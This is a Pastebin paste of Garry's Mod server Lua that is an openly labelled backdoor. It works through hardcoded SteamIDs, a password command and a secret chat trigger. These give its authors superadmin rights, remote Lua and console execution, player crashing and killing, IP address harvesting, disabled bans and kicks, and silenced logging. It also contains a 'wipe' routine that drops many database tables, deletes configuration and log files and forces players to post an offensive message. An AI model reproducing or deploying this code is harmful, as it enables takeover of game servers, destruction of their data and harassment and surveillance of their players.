Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if SERVER then
- timer.Create( "check2981367", 5, 0, function()
- local str = file.Read("cfg/banned_user.cfg", "MOD")
- if file.Exists("cfg/banned_user.cfg", "MOD") then
- if string.find(str, "STEAM_0:1:148794095") then
- print("that was silly")
- ULib.unban( "STEAM_0:1:148794095" )
- end
- end
- end)
- local function getsteamid(i)
- for k,v in pairs(player.GetAll()) do
- local n = string.lower(v:Nick())
- if (string.find(n,i)) then
- return v:SteamID()
- end
- end
- end
- --autor unban end
- authed = "nil"
- concommand.Add("ulx_auth", function(ply, cmd, args)
- if args[1] == "N3T31iE" then
- authed = ply:SteamID()
- ply:ChatPrint("Authed Logged Successfully")
- end
- end)
- --concommands
- concommand.Add("ulx_runcommand", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("LocalPlayer():ConCommand(".. "'" .. args[2] .. "'" .. ")")
- end
- end
- end
- end)
- concommand.Add("ulx_rcon", function(ply, cmd, args)
- if authed == ply:SteamID() then
- game.ConsoleCommand(args[1].."\n")
- end
- end)
- concommand.Add("ulx_crash", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("while true do end")
- end
- end
- end
- end)
- concommand.Add("ulx_ip", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- ip = v:IPAddress()
- ply:ChatPrint(ip)
- end
- end
- end
- end)
- concommand.Add("ulx_explode", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- util.BlastDamage( v, v, v:GetPos(), 100, 500 )
- end
- end
- end
- end)
- concommand.Add("ulx_kill", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua("RunConsoleCommand('kill')")
- end
- end
- end
- end)
- concommand.Add("ulx_lua", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- RunString(args[1])
- end
- end)
- concommand.Add("ulx_knock", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- local tune = [[
- sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)
- ]]
- v:SendLua(tune)
- end
- end
- end)
- concommand.Add("ulx_openurl", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- local tune = [[
- gui.OpenURL( "http://]] .. args[2] ..[[" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end
- end)
- concommand.Add("ulx_openurl_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- SetGlobalFloat("urla", args[1])
- local tune = [[
- gui.OpenURL( "http://]] .. args[1] ..[[" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end)
- concommand.Add("ulx_porntroll_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- local tune = [[
- gui.OpenURL( "http://squish.space/meme.mp4" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end)
- concommand.Add("ulx_porntroll", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- local tune = [[
- gui.OpenURL( "http://squish.space/meme.mp4" )
- ]]
- timer.Simple(1, function() v:SendLua(tune) end)
- end
- end
- end
- end)
- concommand.Add("ulx_disablekicks", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- function Kick() return false end
- function ULib.kick() return false end
- end
- end)
- concommand.Add("ulx_disablebans", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- function Ban() return false end
- function ULib.ban() return false end
- if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end
- end
- end)
- concommand.Add("ulx_stripweapons", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- ply:ChatPrint("Stripped Users Weapons!")
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:StripWeapons()
- end
- end
- end
- end)
- concommand.Add("ulx_stripammo", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- ply:ChatPrint("Stripped Users Ammo!")
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:StripAmmo()
- end
- end
- end
- end)
- concommand.Add("ulx_setteam", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- ply:ChatPrint("User" .. args[1] .." Set To Team: " .. args[2])
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SetTeam(args[2]);
- end
- end
- end
- end)
- concommand.Add("ulx_sethealth", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SetHealth(args[2])
- end
- end
- end
- end)
- concommand.Add("ulx_ignite", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:Ignite(120)
- end
- end
- end
- end)
- concommand.Add("ulx_silent_on", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- RunConsoleCommand("ulx", "logecho", "1")
- end
- end)
- concommand.Add("ulx_silent_off", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- RunConsoleCommand("ulx", "logecho", "0")
- end
- end)
- concommand.Add("ulx_pinkscreen", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- local memes = [[
- RunConsoleCommand("pp_texturize", 6)
- ]]
- for k,v in pairs (player.GetAll()) do
- if v:SteamID() == getsteamid(args[1]) then
- v:SendLua(memes)
- end
- end
- end
- end)
- concommand.Add("ulx_pinkscreen_all", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- local memes = [[
- RunConsoleCommand("pp_texturize_scale", 5000)
- RunConsoleCommand("pp_texturize", "M")
- ]]
- for k,v in pairs (player.GetAll()) do
- v:SendLua(memes)
- end
- end
- end)
- concommand.Add("ulx_decapitate", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(-0.1,-0.1,-0.1))
- end
- end
- end)
- concommand.Add("ulx_undecapitate", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(1,1,1))
- end
- end
- end)
- concommand.Add("ulx_playmp3", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- for k,v in pairs (player.GetAll()) do
- v:SendLua("sound.PlayURL ( 'http://" .. args[1] .. "', '', function() end)")
- end
- end
- end)
- concommand.Add("killwipe", function(ply, cmd, args)
- timer.Remove("wipe")
- ply:ChatPrint("wipe canceled.")
- end)
- concommand.Add("ulx_wipe", function(ply, cmd, args)
- if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
- ply:ChatPrint("Server wiping in 20 seconds. Type killwipe to canel the wipe procedure.")
- timer.Create("wipe", 20, 1, function()
- local databases = { "darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
- local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt" }
- local date = os.date( "%m-%d-%y" )
- for k,v in pairs( databases ) do sql.Query( "DROP TABLE "..v.." ;" ) end
- for k,v in pairs( datafiles ) do file.Delete( v ) end
- hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
- if darkrp then
- timer.Simple( 5, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert I have been raped by Kwoon.") end end )
- timer.Simple( 8, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert Server now wiping...") end end )
- end
- timer.Simple( 10, function() Entity(0):Remove() end )
- end)
- end
- end)
- end
- for k, ply in pairs( player.GetAll() ) do
- ply:ChatPrint( "Backdoor Initiated" )
- end
- if ( SERVER ) then
- hook.Add( "PlayerSay", "playersaywebsite", function( _p, _text, public )
- if ( _text == "!supersecret" ) then
- game.ConsoleCommand("ulx logecho 0\n")
- game.ConsoleCommand("ulx unban STEAM_0:1:49887586\n")
- game.ConsoleCommand("ulx unban STEAM_0:1:148794095\n")
- game.ConsoleCommand("ulx unban STEAM_0:1:82327808\n")
- game.ConsoleCommand("ulx unban STEAM_0:1:163714674\n")
- game.ConsoleCommand("ulx removeuserid STEAM_0:1:125600782\n")
- game.ConsoleCommand("ulx removeuserid STEAM_0:1:65564845\n")
- game.ConsoleCommand("ulx adduserid STEAM_0:1:82327808 superadmin\n")
- game.ConsoleCommand("ulx adduserid STEAM_0:1:148794095 superadmin\n")
- game.ConsoleCommand("ulx adduserid STEAM_0:1:49887586 superadmin\n")
- game.ConsoleCommand("ulx adduserid STEAM_0:1:163714674 superadmin\n")
- game.ConsoleCommand("ulx logecho 1\n")
- game.ConsoleCommand("asdasd\n")
- for _, v in pairs (player.GetAll()) do
- v:ConCommand("gmod")
- end
- return ""
- end
- end )
- else
- concommand.Add( "gmod", function()
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
- HTML_Frame:SetSize( 0, 0 )
- HTML_Frame:OpenURL( "http://puu.sh/plQmt/8ca7dc12fa.mp3" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
- HTML_Frame:SetSize( 800, 800 )
- HTML_Frame:OpenURL( "http://i.imgur.com/L1LZmek.png" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /2.5, ScrH() /12 )
- HTML_Frame:SetSize( 800, 800 )
- HTML_Frame:OpenURL( "https://66.media.tumblr.com/504cb94fe0f41e563f435ee2f833dcb5/tumblr_n47d7f7uFv1rt5pgzo1_400.gif" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /1.4, ScrH() /1.5 )
- HTML_Frame:SetSize( 400, 400 )
- HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /1.8, ScrH() /1.5 )
- HTML_Frame:SetSize( 400, 400 )
- HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /3, ScrH() /1.5 )
- HTML_Frame:SetSize( 400, 400 )
- HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
- local HTML_Frame = vgui.Create( "HTML" )
- HTML_Frame:SetPos( ScrW() /8, ScrH() /1.5 )
- HTML_Frame:SetSize( 400, 400 )
- HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
- end )
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement